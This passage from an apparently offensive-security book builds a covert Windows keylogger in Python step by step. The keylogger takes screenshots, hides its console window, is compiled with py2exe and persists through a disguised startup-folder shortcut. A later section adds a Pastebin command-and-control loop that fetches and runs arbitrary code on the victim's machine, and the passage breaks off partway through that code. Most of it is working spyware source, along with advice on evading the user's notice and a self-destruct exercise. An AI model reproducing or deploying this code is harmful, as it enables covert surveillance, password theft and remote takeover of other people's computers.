        last_press = datetime.now()
```

So, here is the full keylogger script:

```
import pyHook
import pythoncom

from datetime import *
import os

root_dir = os.path.split(os.path.realpath(__file__))[0]
log_file = os.path.join(root_dir, "log_file.txt")

buffer = ""
pause_period = 2
last_press = datetime.now()
pause_delta = timedelta(seconds=pause_period)


def log(message):
    if len(message) > 0:
        with open(log_file,"a") as f:
            f.write("{}:\t{}\n".format(datetime.now(), message))
            # print "{}:\t{}".format(datetime.now(), message)


def keypress(event):
    global buffer, last_press
    if event.Ascii:
        char = chr(event.Ascii)
```

```
        if char == "~":
            log(buffer)
            log("---PROGRAM ENDED---")
            exit()

        pause = datetime.now()-last_press
        if pause >= pause_delta:
            log(buffer)
            buffer = ""

        if event.Ascii==13:
            buffer += "<ENTER>"
        elif event.Ascii==8:
            buffer += "<BACKSPACE>"
        elif event.Ascii==9:
            buffer += "<TAB>"
        else:
            buffer += char
        last_press = datetime.now()

log("---PROGRAM STARTED---")

hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
pythoncom.PumpMessages()
```

Taking Screenshots

Keylogging is one of the most effective methods of covertly collecting sensitive information about a user. But it is not always possible to determine what a user was doing purely based on their keystrokes. So, the user entered an email address followed by a string that looks like it could be a password. That is great, but if they reached the website that they were logging into by clicking on a link or a bookmark rather than typing in a URL, there will be no way to know, based on the keylogger output, what account that password is linked to. There are many different ways that you could supplement keystroke data in order to overcome problems like this; for example, you could record the contents of the title bar of the active window at the time of each run of keystrokes, or using what we will learn in Chapter 4, you could sniff the network activity on the system and log every URL that is visited. For the purposes of this Chapter, we will be contextualizing our keystroke data with screenshots taken at regular intervals.

Simply capturing a screenshot from within a Python script is not a difficult task. Using the *pyscreenshot* library (available through PyPI), it is possible to capture and save an image from the screen using a single function call. So, it appears that all we would need to incorporate screenshots into our script is a function that looks something like this:

```
import pyscreenshot

caps_dir = os.path.join(root_dir, "screencaps")

def screenshot():
    if not os.path.exists(caps_dir):
        os.makedirs(caps_dir)

    filename = os.path.join(caps_dir,
"screen_"+datetime.now().strftime("%Y_%m_%d_%H_%M_%S")+".png")
    pyscreenshot.grab_to_file(filename)
    log("---Screenshot taken: saved to {}---".format(filename))
```

But there is a problem with this method. For one, we still need to figure out

how to run this function at regular intervals. But the bigger issue is that calling *pythoncom.PumpMessages* initializes a loop that blocks any additional code from being run until the script is forcibly exited. Solutions to both of these can be found in Python's *threading* library, *threading*, which provides us with all of the machinery that we will need to break our script up into two separate parts (called threads) that can run at the same time. Let's jump right in.

First, we will need to define a new variable that determines the frequency at which the screenshots are taken.

```
cap_period = 15
```

So, take a screenshot every fifteen seconds. Simple enough; we will apply that to *screenshot* momentarily. Now we need to place *PumpMessages* inside its own thread so that it does not interfere with our ability to run *screenshot*. To do that, import *threading* and then replace the final block of the program with this:

```
import threading

hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
keylog = threading.Thread(target=pythoncom.PumpMessages)

log("---PROGRAM STARTED---")

keylog.run()
```

As you can see, this isn't much more complicated than just calling the function on its own. We instantiate a new *Thread* object whose target (i.e., the thing that the new thread *does*) is the function that we want to run. Notice that we did not call the function yet; we simply passed its handle into the thread so that it knows where to look when we actually tell it to run. Then running the function is as simple as calling its *run* method. Now let's do something similar with the *screenshot* function given a moment ago.

```
def screenshot():
    if not os.path.exists(caps_dir):
        os.makedirs(caps_dir)

    filename = os.path.join(caps_dir,
"screen_"+datetime.now().strftime("%Y_%m_%d_%H_%M_%S")+".png")
    pyscreenshot.grab_to_file(filename)
    log("---Screenshot taken: saved to {}---".format(filename))
    threading.Timer(cap_period, screenshot).start()
```

With this code, once the screenshot has been taken, the function schedules the next time that it should run. It does this by instantiating and starting a *Timer* object, which is a special kind of *Thread* that waits a specified number of seconds between the time that its *start* method is called and the time that it starts running the target function. If we were concerned with running the function at *exact* intervals of *cap_period*, though, this would not be sufficient. By waiting until the end of the function to schedule the next screenshot, we introduce some time drift which will accumulate over long spans of time. But, for our purposes, this is not actually a problem.

So, this should work. However, this introduces a problem. Because the keylogging thread and the screenshot thread are now running independently, there is nothing to prevent them from trying to access the log file at the same time. This could lead to garbled data as both threads write into the file simultaneously. To prevent this, we need to ensure that only one instance of *log* is allowed to run at any given time. The *threading* library once again contains a solution: semaphores.

A semaphore is a variable that limits the number of instances of a process can run at once. Think of it this way: You are having a meeting in a large room that requires a person who is speaking to have a microphone in order to be heard. If everyone at a meeting is given their own microphone, they can all speak at the same time and it might be difficult to understand everything that is being said. But, if there is only one microphone, you will not encounter the same problem because only one person can speak at a time. This is exactly how a semaphore works. Each process must be holding the semaphore before it is allowed to continue its work. If the semaphore is being held by another

process, it will need to wait until that process is done and passes off the semaphore before it can proceed. So, we need to instantiate a semaphore and then make the following changes to our *log* function:

```
log_semaphore = threading.Semaphore()

def log(message):
    if len(message) > 0:
        log_semaphore.acquire()
        with open(log_file,"a") as f:
            f.write("{}:\t{}\n".format(datetime.now(), message))
            # print "{}:\t{}".format(datetime.now(), message)
        log_semaphore.release()
```

With this new code, before the screenshot or the keylogging processes can write to the log file, they will need to acquire the semaphore; once they are done and have closed the file, they release it so that another process can have its turn.

One final thing: The function that we have been using to kill the program, *exit*, will no longer work in this context because it is designed to only stop the thread from which it is called. That was fine when the whole program was in one thread, but it will not do here. The simplest, but by no means the best, way to fix this is to simply replace it with the function *os._exit(1)*. Here is the final keylogging and screen-capturing script:

```
import pyHook
import pythoncom

from datetime import *
import os

import threading
import pyscreenshot

root_dir = os.path.split(os.path.realpath(__file__))[0]
log_file = os.path.join(root_dir, "log_file.txt")
```

```
caps_dir = os.path.join(root_dir, "screencaps")
name = "keylog"

buffer = ""
pause_period = 2
last_press = datetime.now()
pause_delta = timedelta(seconds=pause_period)

cap_period = 15

log_semaphore = threading.Semaphore()


def log(message):
    if len(message) > 0:
        log_semaphore.acquire()
        with open(log_file,"a") as f:
            f.write("{}:\t{}\n".format(datetime.now(), message))
            # print "{}:\t{}".format(datetime.now(), message)
        log_semaphore.release()

def keypress(event):
    global buffer, last_press
    if event.Ascii:
        char = chr(event.Ascii)

        if char == "~":
            log(buffer)
            log("---PROGRAM ENDED---")
            os._exit(1)

        pause = datetime.now()-last_press
        if pause >= pause_delta:
            log(buffer)
            buffer = ""

        if event.Ascii==13:
```

```
            buffer += "<ENTER>"
        elif event.Ascii==8:
            buffer += "<BACKSPACE>"
        elif event.Ascii==9:
            buffer += "<TAB>"
        else:
            buffer += char
        last_log = datetime.now()


def screenshot():
    if not os.path.exists(caps_dir):
        os.makedirs(caps_dir)

    filename = os.path.join(caps_dir,
"screen_"+datetime.now().strftime("%Y_%m_%d_%H_%M_%S")+".png")
    pyscreenshot.grab_to_file(filename)
    log("---Screenshot taken: saved to {}---".format(filename))
    threading.Timer(cap_period, screenshot).start()


hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
keylog = threading.Thread(target=pythoncom.PumpMessages)

log("---PROGRAM STARTED---")
screenshot()
keylog.run()
```

Compiling our Keylogger

Of course, the script that we just built will not be very useful if we need to be there to start it every time the user starts their computer, so we need to make sure that the script starts running without any input, every time Windows starts. There are a couple of different ways to do this, one of which we will be looking at in the next Section. But first, it would be a good idea to ensure that our script will run even on computers that do not have Python and the external libraries already installed. We do not want to limit our range of possible targets to computers that happen to have a copy of *pyHook* installed. To do this, we are going to use the *py2exe* library to compile our script into an executable file. Luckily, this is a very simple thing to do.

We need to do one more minor bit of prep work first. If we compile the script in its current form, a console window will appear every time the executable is run. This would be a clear indication to the user that something is amiss. To prevent this, we need to include the following code at the beginning of the script:

```
import win32console
import win32gui

window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)
```

Even without looking into the documentation for these functions, it is pretty clear how this is supposed to work. We use *win32console* to figure out which window is ours and then use *win32gui* to tell Windows not to make it visible. Now, back to compiling our script. Next, there are some features in Python that we might normally take for granted that will not work once the script has been compiled. Notably, the constant *__file__*, which we used to fetch the location of our script file, and *exit*, which we used to kill the program, are not available inside of an executable created using *py2exe*. So we will need to find alternatives, but that will not be too difficult. In the executable, the location of the present file can be accessed through *sys.argv[0]*. Once we make these substitutions, the compiled program will perform just like the original script.

Now, all that we need to do to compile is create a new Python file (typically saved as *setup.py*) in the same directory as our script, containing this code:

```
from distutils.core import setup
import py2exe

setup(console=['keylog.py'])
```

where *keylog.py* is the name of your script file. I do not actually recommend naming your file anything like this, because if the user happens to notice it running in Task Manager, they will literally see *keylog.exe*. Not very subtle. Instead, you should name it something as boring as possible to avoid suspicion. Anyway, to use this script, open up a command prompt to the directory and run the following command:

```
>> python setup.py py2exe
```

It will then spit out a lot of text to explain what it is doing, and once it is done, there will be a new directory, called *dist*, in the same location that you ran the script. This directory contains everything that another computer will need in order to run your program. Inside the directory, there will be an executable file with the same filename as your original script. So, in this case, *keylog.exe*.

Running at Startup

There are a few options for making a program run when Windows starts. The one that we are going to use is probably the most reliable, but it is by no means the most covert or the most secure. We are going to create a shortcut to the executable file in the startup folder. This is an automated version of the same method that a user would typically use to ensure that a program opens every time they log in. That is the advantage of this method: A link being placed in that folder will look like a normal occurrence, whereas some other methods, like modifying the registry, might be more easily identified as unusual activity. It also does not require the user whose account you are investigating to have any special privileges. The disadvantage of this method is that, once located, it is very easy to disable—the user just needs to remove the shortcut.

To do this, I am going to introduce one final, useful library for performing Windows operations from inside of Python programs: *winshell*. *winshell*, which is available through PyPI, provides a wrapper for Microsoft Shell functions, which includes things like handling shortcuts and recycle bin operations (if you want to investigate and/or recover recently deleted files, *winshell* is one of the easiest ways to do that). Before I show you how to use *winshell* to create shortcuts, there is one issue to get out of the way: *winshell*, or more specifically, one of the libraries that is called from inside of *winshell*, causes some problems for *py2exe*. The specifics of these problems are not relevant to the content of this book, so I am going to just give you the solution on a "you will just have to trust me" basis. Some additional explanation can be found *here*, which is the source for the following code. So, to ensure that *py2exe* is able to properly compile our script, you will need to add some extra code to the beginning of *setup.py*. This is what the new file should look like:

```
try:
    try:
        import py2exe.mf as modulefinder
    except ImportError:
        import modulefinder
    import win32com, sys
    for p in win32com.__path__[1:]:
        modulefinder.AddPackagePath("win32com", p)
```

```
    for extra in ["win32com.shell"]:
        __import__(extra)
        m = sys.modules[extra]
        for p in m.__path__[1:]:
            modulefinder.AddPackagePath(extra, p)
except ImportError:
    pass

from distutils.core import setup
import py2exe

setup(console=['keylog.py'])
```

Moving on, we need to write a function that checks the startup directory to see if we have already put a shortcut there and, if we haven't, to create one and place it there. *winshell* makes this whole process quite painless. Let's take a look at the function:

```
name = "keylog"

def startup():
    if name+".lnk" not in os.listdir(winshell.startup()):
        log("---Adding shortcut to startup folder---")
        link_loc = os.path.join(winshell.startup(), name+".lnk")
        sc = winshell.shortcut()
        sc.path = os.path.realpath(sys.argv[0])
        sc.write(link_loc)
```

First, we define a variable that will hold whatever name you would like to appear with the shortcut that we are creating. As I mentioned regarding the file name earlier in this chapter, I do not recommend using anything as blatant as *keylog* anywhere that the user might notice. If they happen to check in their startup folder and see a program called *keylog*, they will delete the shortcut and we will very quickly lose our ability to track their activity. On the other hand, if they check the startup folder and see a program called *system backup*, or something similarly boring, there is a decent chance that they will ignore it, even if they do not remember putting it there. But, as before, I am going to use

the honest title simply to avoid confusion.

When we run the *startup* function, it starts by checking whether we have already placed a shortcut in the folder. One of the nicer features of *winshell* is that it provides concise functions for fetching the paths of special folders throughout the system. So, to get the location of the startup folder, we simply call *winshell.startup()*; to get to My Documents, we just call *winshell.my_documents()*.

If we already have a shortcut in the folder, we are done and can move on to the rest of the program. But, if we cannot find a shortcut, we will need to put one there. First, we add a record to the logs indicating what we are about to do. Then we get the location and name of the link file that we would like to create, and instantiate a *shortcut* object using *winshell*. We then give the shortcut its target (our program) and save it into the startup folder.

Finally, this is what the script looks like in its final form:

```
import pyHook
import pythoncom
import sys

from datetime import *
import os

import threading
import pyscreenshot
import win32console
import win32gui
import winshell


root_dir = os.path.split(os.path.realpath(sys.argv[0]))[0]
log_file = os.path.join(root_dir, "log_file.txt")
caps_dir = os.path.join(root_dir, "screencaps")
name = "keylog"
```

```
buffer = ""
pause_period = 2
last_press = datetime.now()
pause_delta = timedelta(seconds=pause_period)

cap_period = 15

log_semaphore = threading.Semaphore()



def log(message):
    if len(message) > 0:
        log_semaphore.acquire()
        with open(log_file,"a") as f:
            f.write("{}:\t{}\n".format(datetime.now(), message))
            # print "{}:\t{}".format(datetime.now(), message)
        log_semaphore.release()


def keypress(event):
    global buffer, last_press
    if event.Ascii:
        char = chr(event.Ascii)

        if char == "~":
            log(buffer)
            log("---PROGRAM ENDED---")
            os._exit(1)

        pause = datetime.now()-last_press
        if pause >= pause_delta:
            log(buffer)
            buffer = ""

        if event.Ascii==13:
            buffer += "<ENTER>"
```

```
        elif event.Ascii==8:
            buffer += "<BACKSPACE>"
        elif event.Ascii==9:
            buffer += "<TAB>"
        else:
            buffer += char
        last_press = datetime.now()


def screenshot():
    if not os.path.exists(caps_dir):
        os.makedirs(caps_dir)

    filename = os.path.join(caps_dir,
"screen_"+datetime.now().strftime("%Y_%m_%d_%H_%M_%S")+".png")
    pyscreenshot.grab_to_file(filename)
    log("---Screenshot taken: saved to {}---".format(filename))
    threading.Timer(cap_period, screenshot).start()


def startup():
    if name+".lnk" not in os.listdir(winshell.startup()):
        log("---Adding shortcut to startup folder---")
        link_loc = os.path.join(winshell.startup(), name+".lnk")
        sc = winshell.shortcut()
        sc.path = os.path.realpath(sys.argv[0])
        sc.write(link_loc)


window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)


hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
keylog = threading.Thread(target=pythoncom.PumpMessages)
```

```
log("---PROGRAM STARTED---")

startup()
screenshot()
keylog.run()
```

To begin monitoring a computer using this script, simply copy the *dist* folder created by *py2exe* to anywhere in the filesystem, preferably somewhere that the user is unlikely to stumble upon. Then double-click on the executable. The script will place a shortcut to itself in the startup folder and then begin recording keystrokes and taking screenshots anytime the user logs in. Very soon, *log_file.txt* and *dist will be full of useful data. But, if we can't access the computer again to get that information, this does not do much good. In the next Chapter, we will learn how to control the script, and collect its output, from anywhere in the world.

Conclusion

In this chapter, we covered:

- How to use Python to capture keystrokes using *pyHook* and *pythoncom*
- How to use Python to capture screenshots using *pyscreenshot*
- How to use the *threading* library to create and manage multiple threads within the same script
- How to compile a Python script into a executable file using *py2exe*
- How to a setup a Python script to run when a user logs in to Windows by creating a shortcut in the startup folder

Lab Exercises

1. The *pyHook* library is good for a lot more than just listening for keystrokes. It can also handle mouse input using very similar methods. Consult the *pyHook* documentation, then expand our script to capture information about mouse clicks and write them to the log file as well.

2. As we saw in this Chapter, there are several different ways that you can break up strings of keystrokes when writing them into the logs. For keystrokes (and mouse clicks, if you complete exercise 1), the difference that this makes is minimal because the information that is committed to the logs is basically the same—only the presentation changes. But, this is a bigger issue with screenshots. Screenshots take up a significant amount of storage space, which can attract unwanted attention to our program. We do not want to store more images than are necessary to create a record of what the user is doing. But screen activity happens at a relatively fast pace and we would prefer not to miss any important information because we did not take enough screenshots. For both of these reasons, the method that we used in this Chapter of taking screenshots at regular intervals is far from ideal.

   Your job is to retool the screenshot code so that we do not collect too many redundant screenshots but we also do not miss any major changes to the contents of the screen. Here are some suggestions for improved methods:

   1. Capture screenshots based on mouse activity. Take a screenshot after every click or every cluster of clicks. This ensures that we only record screen information when we know that something is happening on the screen. This is an improvement over the method used in this Chapter, but it still has some disadvantages. Namely, clicks often do not lead to major changes in the information visible on the screen, so we are still gathering redundant images, and many changes in the information on the screen can occur without being prompted by a mouse click, so we might still miss some interesting data.

2. Actually monitor the contents of the screen and decide when to capture images based on that. Some of the libraries that were used in this Chapter contain tools that could help with this, but the actual skills required to implement them were not discussed here. This might be the most effective option, but if you want to do this one, you are on your own.

3. Use an image analysis library like *PIL* to compare screenshots and discard any that are not sufficiently different from the previous image. This method also requires skills that will not be covered in this book.

3. Sometimes, we only need to listen in on a system for a limited period of time, and after we have what we need, we want to destroy all traces that we were ever in the target system. For this exercise, include an expiration date and a self-destruct system in the script so that, if it is run after a predetermined time period, the entire directory containing the script will be deleted.

Chapter 4
Command and Control

Chapter Objectives

In this chapter, you will learn:

- How to remotely control your surveillance script using Pastebin
- How to use Pastebin to retrieve the data gathered by a surveillance script
- How to use a command and control system to update remote programs

In the process, we will build a Python wrapper for the Pastebin API and expand on the script from the previous Chapter to enable us to send commands and updates as well as collect data from it through an external control system.

Introduction

In the last Chapter, we built a tool that has some very useful features. But all of the information that it collects is saved onto the target computer. What if we do not have access to the target after the initial placement of the script? If we can't collect the data, there is really no reason to be collecting them at all. So, in this Chapter, we are going to correct that. We will assume that we are performing an attack in which we only get one opportunity to directly interact with the target system, and as a result, we need to improve on our script so that we can collect the data and issue commands, even if we cannot sit at the keyboard and do it manually. In general, this is known as *Command and Control* (often abbreviated as C2), for fairly obvious reasons.

Pastebin as a C2 Channel

There are many channels through which you can perform C2 functions. Traditionally, IRC, a chat system that was popular in the earlier days of the Internet, was the method of choice. This approach has several advantages—it can be made reasonably secure just by applying password protection to the channel, and channels can be created for free—but IRC traffic is easy for system administrators to block, and as IRC has become less popular for general chat services, it is not uncommon for *all* IRC traffic to be disallowed on systems with security-conscious admins. In response, hackers have started to depend on HTTP servers instead. With this method, the traffic that we are producing will be very difficult to distinguish from legitimate Internet usage—and no administrator in their right mind would block all Internet traffic on their systems. The HTTP server method has its own advantages. Most recently, it has become popular to use dynamically generated domains to make traffic harder to track. In this method, rather than a predetermined URL or list of URLs that it is told to check in with, the deployed program is given an algorithm that produces a new URL, or more likely, a list of URLs every few days. The hacker will use the same algorithm to register the domains as they are needed and then release them after they are done. This means that, to administrators and security systems, the traffic between the hacker and their embedded script will be much harder to identify because it will never have the same destination for long. The disadvantage of this method is that registering domains costs money, so unless you expect your attack to have a financial return, it may not be worth the investment.

The method that we are going to be using is another popular one that lies somewhere between the other two approaches. We are going to leverage an existing online service to set up our own HTTP channel, giving us the advantage of producing legitimate-looking traffic with no financial cost. The disadvantage of this approach is that it would not be terribly difficult for a system administrator to trace our traffic if they somehow knew what to look for, and depending on what kind of system you plan to target, an admin might not have any qualms about blocking traffic to the specific service that we are using.

As you might have guessed by the title of this Section, we are going to be using

Pastebin as our C2 channel. In case you are not familiar with Pastebin, it is a site designed for programmers to temporarily drop snippets of code for troubleshooting purposes. But, in practice, it allows users to post any plain text message up to 512 kilobytes on a public server, which will work nicely for our purposes.

Another reason for choosing Pastebin as our C2 channel is that they provide a well-designed API that will make it quite simple to write a script that can communicate effectively with their servers. Before we start modifying our script from the last Chapter, we will need to write some support code to make accessing the Pastebin API more convenient. So, create a new file called *pastes.py* and we'll get started.

We are going to be using the *requests* library to do all of the heavy lifting. The API sends its responses in an XML format, so we also need to import the standard Python XML parser. There are only three URLs that we will need to utilize all of the functionality that the API has to offer. We will store those under more convenient names to use later, and I will explain how they work as we need them.

```
import requests
import xml.etree.ElementTree as ET


login_url = "http://pastebin.com/api/api_login.php"
post_url = "http://pastebin.com/api/api_post.php"
raw_url = "http://pastebin.com/raw.php?i={}"
```

The basis of this API wrapper will be the *PastebinSession* class. We instantiate this class with a set of Pastebin login credentials, and then we can use its methods to interact with the API.

```
class PastebinSession():

    def __init__(self, dev_key, user_name, password):
        self.dev_key = dev_key
        self.user_name = user_name
```

```
        self.password = password
        self.res = requests.post(login_url, data={
            "api_dev_key" : self.dev_key ,
            "api_user_name" : self.user_name ,
            "api_user_password" : self.password } )
        self.api_key = self.res.text
```

In this code, we create the new class and define its *__init__* method. It takes your Pastebin developer key, user name, and password, stores those in case they are needed again, and then uses them to log in to a new Pastebin session. To do this, we send a POST request to the login URL containing our credentials. The way that Pastebin handles API logins is relatively simple; in response to our login request, the API sends us a temporary key that we will use to validate all of our subsequent requests. So, we store that as an attribute as well.

For most of the other functionalities, it is just a matter of sending a properly constructed request to *post_url*. Posting and deleting pastes does not require us to parse any output, so the methods for doing those things are very straightforward.

```
    def new_paste(self, title, content):
        data={
            "api_dev_key" : self.dev_key ,
            "api_user_key" : self.api_key ,
            "api_option" : "paste" ,
            "api_paste_name" : title ,
            "api_paste_code" : content ,
            "api_paste_private" : 1 }
        res = requests.post(post_url, data=data)
        return res.text

    def delete_paste(self, paste_key):
        data={
            "api_dev_key" : self.dev_key ,
            "api_user_key" : self.api_key ,
            "api_option" : "delete" ,
```

```
        "api_paste_key" : paste_key }
    res = requests.post(post_url, data=data)
    return res.text
```

For fetching a list of all of the Pastes that have been posted on our account, we will need to parse some XML, so that method will be slightly more involved:

```
def list_pastes(self):
    data={
        "api_dev_key" : self.dev_key ,
        "api_user_key" : self.api_key ,
        "api_option" : "list" }
    res = requests.post(post_url, data=data)
    data = ET.fromstring("<data>{}</data>".format(res.text))
    pastes = []
    for paste in data:
        attrs = {attr.tag : attr.text for attr in paste}
        content = self.paste_content(attrs["paste_key"])
        attrs["paste_content"] = content
        pastes.append(attrs)
    return pastes
```

In this code, we send a request to the API like we did in the last two methods. The API returns a list of XML objects, so we wrap the output text in <*data*> so that we only have one object to deal with and then run that into the parser. This produces a list of Pastes, which we loop through, grabbing their contents and putting them in a more usable form.
Finally, a small function to grab only the pastes whose title begins with "COM-" is how we will be marking Pastes that are meant to be interpreted as commands, and the *paste_content* method that we called from inside of *list_pastes*.

```
def fetch_commands(self):
    pastes = self.list_pastes()
    return filter(lambda x: x["paste_title"].startswith("COM-"), pastes)

def paste_content(self, paste_key):
```

```
        res = requests.get(raw_url.format(paste_key))
        return res.text
```

So, our final Pastebin code looks like this:

```
import requests
import xml.etree.ElementTree as ET


login_url = "http://pastebin.com/api/api_login.php"
post_url = "http://pastebin.com/api/api_post.php"
raw_url = "http://pastebin.com/raw.php?i={}"


class PastebinSession():
    def __init__(self, dev_key, user_name, password):
        self.dev_key = dev_key
        self.user_name = user_name
        self.password = password
        self.res = requests.post(login_url, data={
            "api_dev_key" : self.dev_key ,
            "api_user_name" : self.user_name ,
            "api_user_password" : self.password } )
        self.api_key = self.res.text

    def new_paste(self, title, content):
        data={
            "api_dev_key" : self.dev_key ,
            "api_user_key" : self.api_key ,
            "api_option" : "paste" ,
            "api_paste_name" : title ,
            "api_paste_code" : content ,
            "api_paste_private" : 1 }
        res = requests.post(post_url, data=data)
        return res.text

    def delete_paste(self, paste_key):
        data={
            "api_dev_key" : self.dev_key ,
```

```
        "api_user_key" : self.api_key ,
        "api_option" : "delete" ,
        "api_paste_key" : paste_key }
    res = requests.post(post_url, data=data)
    return res.text

def list_pastes(self):
    data={
        "api_dev_key" : self.dev_key ,
        "api_user_key" : self.api_key ,
        "api_option" : "list" }
    res = requests.post(post_url, data=data)
    data = ET.fromstring("<data>{}</data>".format(res.text))
    pastes = []
    for paste in data:
        attrs = {attr.tag : attr.text for attr in paste}
        content = self.paste_content(attrs['paste_key'])
        attrs['paste_content'] = content
        pastes.append(attrs)
    return pastes

def paste_content(self, paste_key):
    res = requests.get(raw_url.format(paste_key))
    return res.text
```

Receiving Commands

Now that we have all of the extra machinery that we needed, let's get started with making our script respond to simple commands received through Pastebin. As an example, recall that, in the previous Chapter, I pointed out that having the "~" key shut down the program was a useful thing while testing, but it does not make much sense for actually collecting data from a target computer. So, let's replace it with something more appropriate for our purposes. The ability to kill the app is still a useful feature for *us* to have; we just want to make sure that there is no chance of the target user shutting it off on their own. Removing that functionality from the target system and putting it in our C2 system is the best way to achieve that.

Returning to the code from Chapter 3, the first thing that we need to do is to pull the shutdown code out of the *keypress* function and put it on its own. If we are putting the kill functionality inside its own function, it would be a good idea to require it to hold the semaphore when it closes the program, just to ensure that the other threads are not writing to the log file after the script stops.

```
def keypress(event):
    global buffer, last_press
    if event.Ascii:
        char = chr(event.Ascii)

        pause = datetime.now()-last_press
        if pause >= pause_delta:
            log(buffer)
            buffer = ""

        if event.Ascii==13:
            buffer += "<ENTER>"
        elif event.Ascii==8:
            buffer += "<BACKSPACE>"
        elif event.Ascii==9:
            buffer += "<TAB>"
        else:
```

```
            buffer += char
        last_press = datetime.now()

def kill():
    log(buffer)
    log_semaphore.acquire()
    log("---PROGRAM ENDED---")
    os._exit(1)
```

Now killing the program is as simple as calling the *kill* function. Of course, now we need the program to periodically check with our Pastebin to decide when it actually needs to call *kill* and end the program. All of the work that we did in the last Section is going to pay off, because doing this is going to be quite easy. First, because we stored all of the Pastebin code in a separate file, we need to import it into our script, so add *import pastes* into the initial block of *import* statements. For convenience, we are also going to store our Pastebin login information at the top of the file:

```
...
import pastes

dev_key = "your_dev_key"
un = "your_username"
pw = "your_password"
...
```

Now, to the point. Let's write a function that checks the Pastebin for new commands (we're just looking for the kill command for now), and then acts accordingly. But, if we are not careful, we are going to run into the same problem that we had when we added screenshots in the last Chapter; we need a way to call this function while everything else is running. Luckily, because we have seen it before, we already know how to handle it: the *threading.Timer* object. So, let's implement this just as we did for the screenshots.

```
update_period = 15

def update():
```

```
    p = pastes.PastebinSession(dev_key, un, pw)
    commands = p.fetch_commands()
    for command in commands:
        if command["paste_title"] == "COM-KILL":
            p.delete_paste(command["paste_key"])
            kill()

    threading.Timer(update_period, update).start()
```

Simple enough, right? While we're at it, let's add another, more interesting type of command: one that allows us to run arbitrary Python code on the target computer. This will give us the freedom to do just about anything that we might want to do with the target, including updating our script after it is placed on the target computer. The ability to remotely run code on a target system is pretty much the ideal situation for us, so let's make it happen.

```
def update():
    p = pastes.PastebinSession(dev_key, un, pw)
    commands = p.fetch_commands()
    for command in commands:
        if command["paste_title"] == "COM-KILL":
            p.delete_paste(command["paste_key"])
            kill()
        elif command["paste_title"] == "COM-EXEC":
            p.delete_paste(command["paste_key"])
            try:
                exec(command["content"])
                p.new_paste("RESP-EXEC-SUCC" , "Command successful" )
                log("---Successful COM-EXEC run---")
            except Exception as e:
                p.new_paste("RESP-EXEC-FAIL" , e)
                log("---Successful COM-EXEC run---")
                log(e)

    threading.Timer(update_period, update).start()
```

If you could not tell from the code, the commands that we will be posting on

the Pastebin will have the main command in the title, prefixed with *COM-* (which just stands for "command"), and any additional information, such as the code that we want to execute with the *COM-EXEC* command, will be stored in the actual body of the Paste. Responses sent from our script will work the same way, but will be prefixed with *RESP-*.

The above code works, but something is missing. Just knowing whether the command was successful or not is not particularly useful. It is true that we get to find out what went wrong if an exception is raised, but how will we know if things went smoothly? It would be nice if we could get some additional feedback. We could just write any output that we put inside of the command into the log file using the *log* function, but because we are sending back a Pastebin message anyway, we might as well include any output produced by the *COM-EXEC* code on that. To do this, we need to divert *stdout* into a string so that we can attach it to the Paste. Here is one way that we can accomplish that, plus some additional formatting for the response messages:

```
exec_success_msg = """
Command Successfully executed.
\n
Command code:
\n{}\n\n
Command output:
\n{}
"""

exec_except_msg = """
An exception was encountered while executing your code.
\n
Command code:
\n{}\n\n
Exception:
\n{}
"""

def update():
    p = pastes.PastebinSession(dev_key, un, pw)
```

```
    commands = p.fetch_commands()
    for command in commands:
        if command["paste_title"] == "COM-KILL":
            p.delete_paste(command["paste_key"])
            kill()
        elif command["paste_title"] == "COM-EXEC":
            p.delete_paste(command["paste_key"])
            try:
                old_stdout = sys.stdout
                sys.stdout = StringIO()
                exec(command["paste_content"])
                p.new_paste("RESP-EXEC-SUCC" ,
                    exec_success_msg.format(command["paste_content"],
sys.stdout.getvalue()) )
                sys.stdout = old_stdout
                log("---Successful COM-EXEC run---")
            except Exception as e:
                p.new_paste("RESP-EXEC-FAIL" ,
                    exec_except_msg.format(command["paste_content"], e) )
                log("---Successful COM-EXEC run---")
                log(e)

    threading.Timer(update_period, update).start()
```

Putting this all together, we get the following:

```
import pyHook
import pythoncom
import sys

from datetime import *
import os

import threading
import pyscreenshot
import win32console
import win32gui
import winshell
```

```
import pastes
from cStringIO import StringIO

dev_key = "your_dev_key"
un = "your_username"
pw = "your_password"

root_dir = os.path.split(os.path.realpath(sys.argv[0]))[0]
log_file = os.path.join(root_dir, "log_file.txt")
caps_dir = os.path.join(root_dir, "screencaps")
name = "keylog"

buffer = ""
pause_period = 2
last_press = datetime.now()
pause_delta = timedelta(seconds=pause_period)

cap_period = 60
update_period = 15

log_semaphore = threading.Semaphore()


def log(message):
    if len(message) > 0:
        log_semaphore.acquire()
        with open(log_file,"a") as f:
            f.write("{}:\t{}\n".format(datetime.now(), message))
            print "{}:\t{}".format(datetime.now(), message)
        log_semaphore.release()


def keypress(event):
    global buffer, last_press
    if event.Ascii:
        char = chr(event.Ascii)
```

```
        pause = datetime.now()-last_press
        if pause >= pause_delta:
            log(buffer)
            buffer = ""

        if event.Ascii==13:
            buffer += "<ENTER>"
        elif event.Ascii==8:
            buffer += "<BACKSPACE>"
        elif event.Ascii==9:
            buffer += "<TAB>"
        else:
            buffer += char
        last_press = datetime.now()


def screenshot():
    if not os.path.exists(caps_dir):
        os.makedirs(caps_dir)

    filename = os.path.join(caps_dir,
"screen_"+datetime.now().strftime("%Y_%m_%d_%H_%M_%S")+".png")
    pyscreenshot.grab_to_file(filename)
    log("---Screenshot taken: saved to {}---".format(filename))
    threading.Timer(cap_period, screenshot).start()


def startup():
    if name+".lnk" not in os.listdir(winshell.startup()):
        log("---Adding shortcut to startup folder---")
        link_loc = os.path.join(winshell.startup(), name+".lnk")
        sc = winshell.shortcut()
        sc.path = os.path.realpath(sys.argv[0])
        sc.write(link_loc)


def kill():
```

```
    log(buffer)
    log_semaphore.acquire()
    log("---PROGRAM ENDED---")
    os._exit(1)

exec_success_msg = """
Command Successfully executed.
\n
Command code:
\n{}\n\n
Command output:
\n{}
"""

exec_except_msg = """
An exception was encountered while executing your code.
\n
Command code:
\n{}\n\n
Exception:
\n{}
"""

def update():
    p = pastes.PastebinSession(dev_key, un, pw)
    commands = p.fetch_commands()
    for command in commands:
        if command["paste_title"] == "COM-KILL":
